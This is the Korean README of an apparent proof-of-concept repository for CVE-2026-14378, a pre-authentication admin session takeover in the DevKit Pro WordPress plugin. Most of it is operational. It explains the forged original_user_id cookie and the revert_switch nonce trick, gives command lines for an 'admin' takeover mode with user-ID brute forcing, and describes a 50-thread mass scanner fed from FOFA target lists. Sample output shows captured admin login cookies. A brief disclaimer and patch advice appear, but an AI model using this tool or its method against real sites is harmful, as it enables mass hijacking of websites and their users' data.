
CVE-2026-14378에 대한 Python PoC 스캐너 및 익스플로잇으로, DevKit Pro WordPress 플러그인에서 위조된 original_user_id 쿠키를 통한 인증 전 관리자 세션 탈취 취약점입니다.
CVE-2026-14378에 대한 개념 증명(Proof-of-concept) 스캐너 및 익스플로잇 도우미: WordPress 플러그인 DevKit Pro(dplugins)의 결함 있는 사용자 전환 "되돌리기(revert)" 흐름을 통한 비인증 관리자 세션 탈취.
법적 고지: 본인이 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 무단 접근은 불법입니다. 이 저장소는 방어적 연구, 검증, 패치 검증을 위한 것입니다.
PoC for CVE-2026-14378: DevKit Pro ≤2.3.0 pre-auth admin takeover via forged original_user_id cookie + wp_footer revert_switch nonce. check/admin + mass scan.
추천 토픽: cve-2026-14378, wordpress, wordpress-exploit, devkit-pro, dplugins, authentication-bypass, poc, security-research
| CVE | CVE-2026-14378 |
| 제품 | DevKit Pro (공급업체: dplugins) |
| 유형 | 인증 우회 → 전체 관리자 세션 (CWE-287) |
| 영향 범위 | 모든 버전 ≤ 2.3.0 |
| 수정 버전 | 3.0.0+ (변경 로그) |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| CVE | 문제 | 인증 |
|---|---|---|
| CVE-2026-14357 | DPDEV_install_themes를 통한 임의 테마 ZIP 설치 | Subscriber+ |
| CVE-2026-14378 | 사용자 전환 되돌리기를 통한 세션 탈취 | 없음 |
이 PoC는 14378만 대상으로 합니다.
DevKit Pro의 Users Manager는 테스트를 위해 사용자를 가장(impersonate)할 수 있습니다. 관리자가 다른 계정으로 전환하면, 플러그인은 이전 신원을 클라이언트 쿠키에 저장합니다:
original_user_id — 전환 전 계정의 사용자 ID해당 쿠키가 존재하면, 플러그인은 프론트 엔드의 **wp_footer**에 "되돌리기(switch back)" 컨트롤을 렌더링하며, 여기에는 되돌리기 액션에 바인딩된 WordPress nonce가 포함됩니다.
revert_switch 핸들러(AJAX)는 **verify_nonce_and_capability()**를 호출하는데, 이 함수는 실제 요청자(완전히 비인증 상태일 수 있음)에 대해 **current_user_can()**을 사용하는 대신, **original_user_id**가 참조하는 사용자에 대해 **manage_options**를 잘못 평가합니다.
공격자는 다음을 수행할 수 있습니다:
Cookie: original_user_id=<administrator_user_id> 설정 (일반적으로 1).action=revert_switch(또는 플러그인별 별칭)와 유출된 nonce를 사용하여 wp-admin/admin-ajax.php에 POST.wp_set_auth_cookie() 트리거 → 인증된 관리자 세션.공식 기능 문서: Users Manager — switch back.
sequenceDiagram
participant A as Attacker
participant W as WordPress (front end)
participant P as DevKit Pro
participant X as admin-ajax.php
A->>W: GET / (Cookie: original_user_id=1)
W->>P: wp_footer hook
P-->>W: switch-back HTML + nonce
W-->>A: page body contains nonce
A->>X: POST action=revert_switch + nonce
Note over P,X: capability checked for user 1, not attacker
X-->>A: Set-Cookie wordpress_logged_in_*
A->>W: GET /wp-admin/
W-->>A: admin dashboard
check 명령은 의도적으로 엄격합니다: **original_user_id**를 위조한 후 되돌리기 nonce가 나타나는 경우에만 **취약함(vulnerable)**으로 보고합니다.
| 관찰 결과 | 예상 의미 |
|---|---|
VULNERABLE — switch-back material leaked | 익스플로잇 경로가 작동할 가능성 높음; admin 실행 전에 랩 환경에서 확인하십시오. |
not vulnerable (check): no switch-back nonce… | 패치된 DevKit(≥ 3.0.0), 플러그인 미설치, Users Manager 비활성화(기본값 꺼짐), 사용자 정의 플러그인 경로, 캐시/CDN이 푸터를 제거, 또는 잘못된 사이트. |
DevKit Pro readme not confirmed | 공개 readme.txt 지문 없음; 플러그인이 존재하지만 숨겨져 있을 수 있음 — 오라클이 결정적 테스트로 남음. |
DevKit Pro <= 2.3.0 suspected + 여전히 nonce 없음 | 취약한 버전이 설치되어 있지만 전환 기능이 활성화되지 않았거나 테스트한 URL에서 푸터가 렌더링되지 않을 수 있음. |
참고: /wp-content/plugins/.../readme.txt에 대한 HTTP 200 응답이 전체 HTML 페이지를 반환하는 것은 흔한 WordPress 소프트 404입니다. 이 PoC는 상태 코드만이 아니라 readme 내용(Plugin Name: 헤더)을 검증합니다.
pip install requests
선택 사항: requirements.txt에 고정된 최소 버전이 포함되어 있습니다:
requests>=2.28.0
git clone https://github.com/YOUR_USER/cve-2026-14378-poc.git
cd cve-2026-14378-poc
pip install -r requirements.txt # or: pip install requests
탈취를 완료하지 않으며, 푸터 nonce 오라클만 테스트합니다.
python poc.py check https://target.example/
python poc.py check https://target.example/ --user-id 2
python poc.py check https://target.example/ --timeout 40
전체 **revert_switch**를 시도하고 /wp-admin/ 접근을 검증합니다.
python poc.py admin https://target.example/
python poc.py admin https://target.example/ --user-id 1 --brute 5
python poc.py admin https://target.example/ --log successes.txt
| 플래그 | 설명 |
|---|---|
--user-id | original_user_id에 위조할 관리자(또는 대상) 사용자 ID (기본값: 1) |
--brute | 첫 번째 ID가 실패하면 ID 1..N을 시도 |
--timeout | HTTP 타임아웃(초) (기본값: 25) |
--log | 성공한 admin URL을 파일에 추가 (기본값: logs.txt) |
한 줄에 URL 하나; # 주석과 공백 뒤의 추가 열은 무시됩니다.
# Detection only (recommended first pass)
python poc.py targets.txt
# Exploit attempts (authorized targets only)
python poc.py targets.txt admin
첫 번째 인수로 파일이 전달되지 않으면, 스크립트가 목록 경로를 묻습니다(레거시 대량 스캐너와 동일한 동작).
대량 모드는 스레드 풀(50 워커)을 사용합니다. 속도 제한에 걸리면 poc.py에서 조정하십시오.
# FOFA / manual imports
https://staging.example.com
example.org
192.0.2.10|wordpress|1.2.3 # only first token is used
취약함 (check):
[*] https://vulnerable.example
[+] DevKit Pro <= 2.3.0 suspected (stable tag 2.3.0)
[+] VULNERABLE — switch-back material leaked (action=revert_switch, nonce=a1b2c3d4…)
취약하지 않음 (일반적인 대량 스캔):
[*] https://patched.example
[!] DevKit Pro readme not confirmed (hidden path, WAF, or plugin absent)
[-] not vulnerable (check): no switch-back nonce in wp_footer with forged original_user_id cookie — patched DevKit, Users Manager off, or wrong target
성공한 admin:
[*] https://lab.local
[+] https://lab.local -> administrator session as user_id=1
[+] cookie: wordpress_logged_in_…=…
verify=False); 리다이렉트 추적; 오류 시 선택적 HTTP↔HTTPS 폴백.revert_switch, DPDEV_revert_switch, dpdev_revert_switch, devkit_revert_switch (상용 플러그인; 정확한 훅 이름은 빌드에 따라 다를 수 있음)./, /?p=1, /sample-page/, /index.php.wordpress_logged_in_* 쿠키 및/또는 /wp-admin/ 대시보드 마커.DevKit Pro는 wordpress.org에서 배포되지 않습니다; 버전 핑거프린팅은 존재하는 경우 노출된 readme.txt에 의존합니다.
admin-ajax.php revert_switch 활동에 대해 관리자 세션 및 감사 로그를 검토하십시오.저자와 기여자는 오용에 대해 어떠한 책임도 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 관련 법률을 준수하고 적절한 권한을 획득하는 데 동의합니다. 방어자는 DevKit Pro **3.0.0+**로 업그레이드한 후 패치를 검증하기 위해 check 모드를 사용할 것을 권장합니다.
MIT — 포함된 경우 LICENSE 참조; 그렇지 않은 경우 저장소 게시 시 라이선스를 명시하십시오.